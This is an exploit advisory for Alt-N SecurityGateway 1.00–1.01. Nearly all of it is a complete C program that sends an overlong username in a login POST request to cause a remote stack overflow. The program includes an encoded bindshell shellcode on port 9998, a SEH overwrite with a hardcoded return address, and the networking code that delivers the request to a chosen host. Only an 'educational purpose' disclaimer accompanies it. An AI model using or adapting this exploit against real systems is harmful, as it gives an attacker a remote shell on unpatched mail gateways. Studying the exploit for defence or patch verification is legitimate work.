Vulnerable Systems:
* Alt-N SecurityGateway version 1.00
* Alt-N SecurityGateway version 1.01

Immune Systems:
* Alt-N SecurityGateway version 1.02

Exploit:
/* Dreatica-FXP crew
*
* ----------------------------------------
* Target : Alt-N SecurityGateway v1.00-1.01
* ----------------------------------------
* Exploit : Alt-N SecurityGateway v1.00-1.01 Remote Stack Overflow Exploit
* Exploit date : 11.06.2008-14.06.2008
* Exploit writer : Heretic2 (heretic2x@gmail.com)
* OS : Windows ALL
* Crew : Dreatica-FXP
* ----------------------------------------
* Details : Obtain the overflow and crash the application is peace a cake job.
* To make a wroking code execution here is a hell. First we can see that
* the username before overflow the buffer pass through some functions,
* that changes and restrict some useful chars. Firstly the beffer gets
* lowered so the overflow should not contain upper chars :( . So i decided
* to use some encoders for the payload like nonupper and non alpha from MSF.
* The nonupper use the `@` (0x40) char which the app doesn't eat at all.
* The nonalpha encoder in decoder code and the generated body contained
* always the 0xC0, 0xC1, 0x80, 0x81 which were translated to 0xE0, 0xE1,
* 0x90, 0x91. Don't know, may be this chars translation was due to my russian locale.
* After few days of work i have comed with the required bindshell which bypass
* all restricted chars and executes. Thx to skylined, for his alpha tool.
* Bad chars : 0x00 0x40 0x41 0x42 0x43 0x44 0x45 0x46 0x47 0x48 0x49 0x4A 0x4B 0x4C 0x4D 0x4E
* 0x4F 0x50 0x51 0x52 0x53 0x54 0x55 0x56 0x57 0x58 0x59 0x5A 0x40 0x7b 0xAA 0xC0
* 0xC1 0xC2 0x80 0x81
* ----------------------------------------
* Thanks to:
* 1. securfrog ( <securfrog [at] gmail.com> )
* 2. ALPHA 2: Zero-tolerance ( <skylined [at] edup.tudelft.nl> )
* 3. The Metasploit project ( http://metasploit.com )
* 4. Dreatica-FXP crew ( http://www.dreatica-fxp.com )
************************************************************************************
* This was written for educational purpose only. Use it at your own risk. Author will be not be
* responsible for any damage, caused by that code.
*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <winsock2.h>
#include <time.h>

#pragma comment(lib,"ws2_32")


void usage(char * s);
void logo();
void end_logo();
void print_info_banner_line(const char * key, const char * val);

void extract_ip_and_port( char * &remotehost, int * port, char * str);
int fill_payload_args(int sh, int bport, char * reverseip, int reverseport, struct h2readyp * xx);

int hr2_connect(char * remotehost, int port, int timeout);
int hr2_udpconnect(char * remotehost, int port, struct sockaddr_in * addr, int timeout);
int hr2_updsend(char * remotehost, unsigned char * buf, unsigned int len, int port, struct sockaddr_in * addr, int timeout);
int execute(struct _buf * abuf, char * remotehost, int port);

struct _buf
{
unsigned char * ptr;
unsigned int size;
};
int construct_shellcode(int sh, struct _buf * shf, int target);
int construct_buffer(struct _buf * shf, int target, struct _buf * abuf);




// -----------------------------------------------------------------
// XGetopt.cpp Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring);
char *optarg; // global argument pointer
int optind = 0, opterr; // global argv index
// -----------------------------------------------------------------
// -----------------------------------------------------------------


struct {
const char * name;
int length;
char *shellcode;
}shellcodes[]={
  {"Bindshell, port 9998", 743,
  /* The non-encoded metasploit payload
  * windows/shell_bind_tcp - 317 bytes
  * http://www.metasploit.com
  * Encoder: generic/none
  */
  /*
  * Encoder: heretic2's nonupper. with help of skylined tool.
  */
  "\x6a\x20\x5b\x93\xf7\xe0\x91\xe8\xff\xff\xff\xff\x30\x5e\x5e\x66"
  "\x8b\x7e\x22\x97\x3c\x60\x7c\x07\x2c\x20\x66\x93\x88\x5e\x22\x83"
  "\xee\xff\xe2\xeb\xe8\xff\xff\xff\xff\x36\x5b\x5b\x93\x91\x83\xe9"
  "\xf8\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x69\x71\x7a\x76\x74"
  "\x78\x33\x30\x76\x78\x34\x61\x70\x30\x61\x33\x68\x68\x30\x61\x30"
  "\x30\x61\x62\x61\x61\x62\x74\x61\x61\x71\x32\x61\x62\x32\x62\x62"
  "\x30\x62\x62\x78\x70\x38\x61\x63\x6a\x6a\x69\x6b\x6c\x32\x6a\x6a"
  "\x6b\x70\x6d\x6a\x68\x7a\x79\x6b\x6f\x6b\x6f\x6b\x6f\x33\x70\x6c"
  "\x6b\x72\x6c\x36\x64\x71\x34\x6c\x6b\x71\x75\x77\x6c\x6c\x6b\x73"
  "\x6c\x73\x35\x33\x68\x35\x71\x7a\x6f\x6c\x6b\x70\x6f\x35\x68\x6c"
  "\x6b\x71\x6f\x67\x70\x75\x71\x6a\x6b\x77\x39\x6c\x6b\x77\x64\x6c"
  "\x6b\x75\x71\x7a\x6e\x76\x71\x69\x70\x6d\x69\x6e\x6c\x6b\x34\x69"
  "\x70\x72\x74\x63\x37\x6f\x31\x38\x6a\x74\x6d\x35\x71\x79\x72\x6a"
  "\x6b\x6b\x64\x77\x6b\x71\x64\x67\x74\x67\x78\x32\x75\x6d\x35\x6c"
  "\x6b\x71\x6f\x77\x74\x35\x71\x6a\x6b\x32\x66\x6c\x6b\x74\x6c\x70"
  "\x6b\x6c\x6b\x71\x6f\x35\x6c\x75\x71\x6a\x6b\x75\x73\x66\x6c\x6c"
  "\x6b\x6b\x39\x62\x6c\x76\x64\x75\x6c\x33\x71\x6f\x33\x66\x71\x79"
  "\x6b\x75\x34\x6c\x6b\x71\x73\x36\x70\x6c\x6b\x71\x70\x74\x6c\x6c"
  "\x6b\x72\x70\x75\x6c\x6e\x6d\x6c\x6b\x71\x70\x35\x78\x71\x6e\x73"
  "\x78\x6c\x6e\x70\x6e\x64\x6e\x7a\x6c\x30\x70\x6b\x6f\x78\x76\x35"
  "\x36\x76\x33\x32\x66\x33\x78\x70\x33\x77\x62\x72\x68\x72\x77\x34"
  "\x33\x76\x72\x71\x6f\x70\x74\x6b\x6f\x78\x70\x62\x68\x38\x6b\x6a"
  "\x6d\x6b\x6c\x77\x6b\x66\x30\x6b\x6f\x78\x76\x71\x6f\x6b\x39\x6a"
  "\x65\x73\x76\x6d\x71\x7a\x6d\x73\x38\x64\x62\x70\x75\x62\x6a\x35"
  "\x72\x6b\x6f\x6e\x30\x72\x68\x78\x79\x75\x79\x6b\x65\x6e\x6d\x66"
  "\x37\x6b\x6f\x79\x66\x36\x33\x70\x73\x71\x63\x71\x63\x70\x73\x71"
  "\x73\x71\x63\x31\x73\x36\x33\x6b\x6f\x68\x70\x32\x66\x65\x38\x71"
  "\x37\x74\x6e\x72\x66\x71\x63\x6b\x39\x6b\x71\x6c\x75\x73\x78\x6f"
  "\x74\x75\x6a\x74\x30\x6f\x37\x30\x77\x6b\x6f\x79\x66\x32\x6a\x64"
  "\x70\x36\x31\x31\x65\x6b\x6f\x6e\x30\x75\x38\x6e\x64\x6e\x6d\x76"
  "\x6e\x6b\x79\x71\x67\x6b\x6f\x78\x76\x70\x73\x70\x75\x6b\x6f\x78"
  "\x70\x65\x38\x6b\x75\x31\x79\x6c\x66\x70\x69\x30\x77\x6b\x6f\x6e"
  "\x36\x70\x70\x31\x64\x71\x64\x76\x35\x6b\x6f\x78\x70\x6c\x73\x72"
  "\x68\x6d\x37\x63\x69\x39\x76\x32\x79\x71\x67\x6b\x6f\x6e\x36\x71"
  "\x65\x6b\x6f\x78\x70\x73\x76\x73\x7a\x35\x34\x32\x66\x72\x68\x75"
  "\x33\x72\x6d\x6d\x79\x6b\x75\x72\x6a\x76\x30\x76\x39\x71\x39\x68"
  "\x6c\x6b\x39\x6d\x37\x72\x6a\x30\x64\x6b\x39\x6b\x72\x76\x71\x6f"
  "\x30\x7a\x73\x6e\x6a\x6b\x6e\x70\x62\x76\x6d\x6b\x6e\x67\x32\x36"
  "\x6c\x6a\x33\x6c\x6d\x33\x6a\x76\x78\x6e\x6b\x6e\x6b\x6e\x6b\x63"
  "\x78\x73\x62\x6b\x6e\x6e\x73\x74\x76\x6b\x6f\x62\x75\x70\x64\x6b"
  "\x6f\x38\x76\x71\x6b\x76\x37\x76\x32\x30\x71\x30\x71\x70\x71\x72"
  "\x6a\x65\x71\x30\x71\x30\x71\x30\x75\x70\x71\x6b\x6f\x78\x70\x75"
  "\x38\x6e\x6d\x6e\x39\x74\x65\x78\x6e\x70\x73\x6b\x6f\x6e\x36\x73"
  "\x7a\x6b\x6f\x6b\x6f\x36\x77\x6b\x6f\x6e\x30\x6c\x6b\x36\x37\x6b"
  "\x6c\x6b\x33\x69\x74\x75\x34\x6b\x6f\x38\x76\x66\x32\x6b\x6f\x38"
  "\x70\x33\x78\x7a\x70\x6c\x6a\x63\x34\x71\x6f\x66\x33\x6b\x6f\x6e"
  "\x36\x6b\x6f\x68\x70\x61\x61"
  },
{NULL, 0, NULL}
};




struct _target{
const char *t ;
unsigned long ret ;
} targets[]=
{
{"Alt-N SecurityGateway 1.00/1.01 universal", 0x67672190 }, // nonupper pop/pop/ret
{"DOS/Crash/Debug/Test/Fun", 0x61616161 },
{NULL, 0x00000000 }
};

// memory for buffers
unsigned char payloadbuffer[10000], a_buffer[10000];
long dwTimeout=5000;
int timeout=5000;


int main(int argc, char **argv)
{
char c,*remotehost=NULL,temp1[100];
int sh,port=4000,itarget=0;
struct _buf fshellcode, sbuffer;

logo();
if(argc<2)
{
  usage(argv[0]);
  return -1;
}

WSADATA wsa;
WSAStartup(MAKEWORD(2,0), &wsa);
// set defaults
sh=0;
// ------------

while((c = getopt(argc, argv, "h:t:R:T:"))!= EOF)
{
  switch (c)
  {
   case 'h':
    if (strchr(optarg,':')==NULL)
    {
     remotehost=optarg;
    }else
    {
     sscanf(strchr(optarg,':')+1, "%d", &port);
     remotehost=optarg;
     *(strchr(remotehost,':'))='\0';
    }
    break;
   case 't':
    sscanf(optarg, "%d", &itarget);
    itarget--;
    break;
   case 'T':
    sscanf(optarg, "%ld", &dwTimeout);
    break;
   default:
    usage(argv[0]);
    WSACleanup();
   return -1;
  }
}

if(remotehost == NULL)
{
  printf(" [-] Please enter remotehost\n");
  end_logo();
  WSACleanup();
  return -1;
}
print_info_banner_line("Host", remotehost);
sprintf(temp1, "%d", port);
print_info_banner_line("Port", temp1);
print_info_banner_line("Payload", shellcodes[sh].name);
sprintf(temp1, "%d", 9998);
print_info_banner_line("BINDPort", temp1);

printf(" # ------------------------------------------------------------------- # \n");
fflush(stdout);


memset(payloadbuffer, 0, sizeof(payloadbuffer));
fshellcode.ptr=payloadbuffer;
fshellcode.size=0;

memset(a_buffer, 0, sizeof(a_buffer));
sbuffer.ptr=a_buffer;
sbuffer.size=0;

if(!construct_shellcode(sh, &fshellcode, itarget))
{
  end_logo();
  WSACleanup();
  return -1;
}

printf(" [+] Payload constructed\n");

if(!construct_buffer(&fshellcode, itarget, &sbuffer))
{
  printf(" [-] Buffer not constructed\n");
  end_logo();
  WSACleanup();
  return -1;
}
printf(" [+] Final buffer constructed\n");


if(!execute(&sbuffer, remotehost, port))
{
  printf(" [-] Buffer not sent\n");
  end_logo();
  WSACleanup();
  return -1;
}
printf(" [+] Buffer sent\n");

end_logo();
WSACleanup();
return 0;
}

int construct_shellcode(int sh, struct _buf * shf, int target)
{
memcpy(shf->ptr, shellcodes[sh].shellcode, shellcodes[sh].length);
shf->size=shellcodes[sh].length;

return 1;
}



char templ1[] = "POST /SecurityGateway.dll HTTP/1.0\r\n"
"Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-excel, application/vnd.ms-powerpoint, application/msword, */*\r\n"
"Accept-Language: ru\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)\r\n"
"Content-Length: %d\r\n\r\n";
char templ2[]="RequestedPage=login&username=%s&passwd=world〈=en&logon=Sign+In";

int encode_uri(char * in, int len, char * out, int *outlen)
{
char *out2=out;
int i;
memset(out,0,*outlen);
for(i=0;i<len;i++)
{
  *out++='%';
  sprintf(out, "%.2x", (unsigned char)in[i]);
  out+=2;
}
*outlen=(int)(out-out2);
return 0;
}



int construct_buffer(struct _buf * shf, int target, struct _buf * abuf)
{
unsigned char * cp;
char *lp ;
char buf[10000], buf2[10000],rstr1[10000],rstr2[10000];
int olen;

cp = abuf->ptr;

memset(buf,0,sizeof(buf));
memset(buf2,0,sizeof(buf2));
memset(rstr1,0,sizeof(rstr1));
memset(rstr2,0,sizeof(rstr2));

lp=buf;

  // overflow
memset(lp,'\x61',476);
lp+=476;

  // jmp over seh
*lp++='\x90';
*lp++='\x90';
*lp++='\xeb';
*lp++='\x04';

  // replace SEH
*lp++ = (char)((targets[target].ret ) & 0xff);
*lp++ = (char)((targets[target].ret >> 8) & 0xff);
*lp++ = (char)((targets[target].ret >> 16) & 0xff);
*lp++ = (char)((targets[target].ret >> 24) & 0xff);

memset(lp,'\x90',1500);
lp+=5;

memcpy(lp, shf->ptr, shf->size);
lp+=shf->size;


olen = 1500;
encode_uri(buf, (int)strlen(buf), buf2, &olen);
sprintf(rstr2,templ2,buf2);
sprintf(rstr1,templ1,strlen(rstr2));

strcat((char*)cp,rstr1);
strcat((char*)cp,rstr2);

cp+=strlen((char*)cp);
abuf->size=(int)(cp-abuf->ptr);
return 1;
}


void extract_ip_and_port( char * &remotehost, int * port, char * str)
{
if (strchr(str,':')==NULL)
{
  remotehost=str;
}else
{
  sscanf(strchr(str,':')+1, "%d", port);
  remotehost=str;
  *(strchr(remotehost,':'))='\0';
}
}



int hr2_connect(char * remotehost, int port, int timeout)
{
SOCKET s;
struct hostent *host;
struct sockaddr_in addr;
TIMEVAL stTime;
TIMEVAL *pstTime = NULL;
fd_set x;
int res;

if (INFINITE != timeout)
{
  stTime.tv_sec = timeout / 1000;
  stTime.tv_usec = timeout % 1000;
  pstTime = &stTime;
}

host = gethostbyname(remotehost);
if (!host) return SOCKET_ERROR;

addr.sin_addr = *(struct in_addr*)host->h_addr;
addr.sin_port = htons(port);
addr.sin_family = AF_INET;

s = socket(AF_INET, SOCK_STREAM, 0);
if (s == SOCKET_ERROR)
{
  closesocket(s);
  return SOCKET_ERROR;
}

unsigned long l = 1;
ioctlsocket( s, FIONBIO, &l ) ;

connect(s, (struct sockaddr*)&addr, sizeof(addr));

FD_ZERO(&x);
FD_SET(s, &x);

res = select(NULL,NULL,&x,NULL,pstTime);
if(res< 0) return SOCKET_ERROR;
if(res==0) return 0;
return (int)s;
}


int hr2_tcpsend(SOCKET s, unsigned char * buf, unsigned int len, int timeout)
{
return send(s, (char *)buf, len, 0);
}

int hr2_tcprecv(SOCKET s, unsigned char * buf, unsigned int len, int timeout)
{
TIMEVAL stTime;
TIMEVAL *pstTime = NULL;
fd_set xy;
int res;

if (INFINITE != timeout)
{
  stTime.tv_sec = timeout / 1000;
  stTime.tv_usec = timeout % 1000;
  pstTime = &stTime;
}
FD_ZERO(&xy);
FD_SET(s, &xy);

res = select(NULL,&xy,NULL,NULL,pstTime);

if(res==0) return 0;
if(res<0) return -1;

return recv(s, (char *)buf, len, 0);
}

int execute(struct _buf * abuf, char * remotehost, int port)
{
int x;
SOCKET s ;
char RECVB[10000];

s = hr2_connect(remotehost, port, 10000);
if(s==0)
{
  printf(" [-] connect() timeout\n");
  return 0;
}
if(s==SOCKET_ERROR)
{
  printf(" [-] Connection failed\n");
  return 0;
}
x = hr2_tcpsend(s, abuf->ptr, abuf->size, 0);
printf(" [+] Sent %d out of %d bytes\n", x, abuf->size);

x = hr2_tcprecv(s, (unsigned char *)RECVB, 1000, 0);

closesocket(s);
return 1;
}

// -----------------------------------------------------------------
// XGetopt.cpp Version 1.2
// -----------------------------------------------------------------
int getopt(int argc, char *argv[], char *optstring)
{
static char *next = NULL;
if (optind == 0)
  next = NULL;

optarg = NULL;

if (next == NULL || *next == '\0')
{
  if (optind == 0)
   optind++;

  if (optind >= argc || argv[optind][0] != '-' || argv[optind][1] == '\0')
  {
   optarg = NULL;
   if (optind < argc)
    optarg = argv[optind];
   return EOF;
  }

  if (strcmp(argv[optind], "--") == 0)
  {
   optind++;
   optarg = NULL;
   if (optind < argc)
    optarg = argv[optind];
   return EOF;
  }

  next = argv[optind];
  next++; // skip past -
  optind++;
}

char c = *next++;
char *cp = strchr(optstring, c);

if (cp == NULL || c == ':')
  return '?';

cp++;
if (*cp == ':')
{
  if (*next != '\0')
  {
   optarg = next;
   next = NULL;
  }
  else if (optind < argc)
  {
   optarg = argv[optind];
   optind++;
  }
  else
  {
   return '?';
  }
}

return c;
}
// -----------------------------------------------------------------
// -----------------------------------------------------------------
// -----------------------------------------------------------------

void print_info_banner_line(const char * key, const char * val)
{
char temp1[100], temp2[100];

memset(temp1,0,sizeof(temp1));
memset(temp1, '\x20' , 58 - strlen(val) -1);

memset(temp2,0,sizeof(temp2));
memset(temp2, '\x20' , 8 - strlen(key));
printf(" # %s%s: %s%s# \n", key, temp2, val, temp1);

}



void usage(char * s)
{
int j;
printf("\n");
printf(" Usage: %s -h <host:port> -t <target>\n", s);
printf(" -------------------------------------------------------------------\n");
printf(" Arguments:\n");
printf(" -h ........ host to attack, default port: 4000\n");
printf(" -t ........ target to use\n");
printf(" -T ........ socket timeout\n");
printf("\n");
printf(" Supported SecurityGateway versions:\n");
for(j=0; targets[j].t!=0;j++)
{
  printf(" %d. %s\n",j+1, targets[j].t);
}
printf("\n");
printf(" Code execution:\n");
for(j=0; shellcodes[j].name!=0;j++)
{
  printf(" %d. %s\n",j+1, shellcodes[j].name);
}
end_logo();
}

void logo()
{
printf("\n\n");
printf(" ################################################# \n");
printf(" # ____ __ _ ______ __ _____ #\n");
printf(" # / __ \\________ _____/ /_(_)_________ / __/\\ \\/ / / _ / #\n");
printf(" # / / / / ___/ _ \\/ __ / __/ / ___/ __ / ___ / / \\ / / // / #\n");
printf(" # / /_/ / / / ___/ /_// /_/ / /__/ /_// /__/ / _/ / \\ / ___/ #\n");
printf(" # /_____/_/ \\___/ \\_,_/\\__/_/\\___/\\__,_/ /_/ /_/\\_\\/_/ #\n");
printf(" # crew #\n");
printf(" ################################################# \n");
printf(" # Exploit : Alt-N SecurityGateway 1.00-1.01 Remote Overflow exploit # \n");
printf(" # Solution: Update to 1.02 version # \n");
printf(" # Author : Heretic2 < heretic2x [at] gmail.com > # \n");
printf(" # Version : 1.0 # \n");
printf(" # System : Windows ALL # \n");
printf(" # Date : 11.06.2008 - 14.06.2008 # \n");
printf(" # ------------------------------------------------------------------- # \n");
}

void end_logo()
{
printf(" # ------------------------------------------------------------------- # \n");
printf(" # Dreatica-FXP crew [Heretic2] # \n");
printf(" ################################################# \n\n");
}

// Dreatica-FXP crew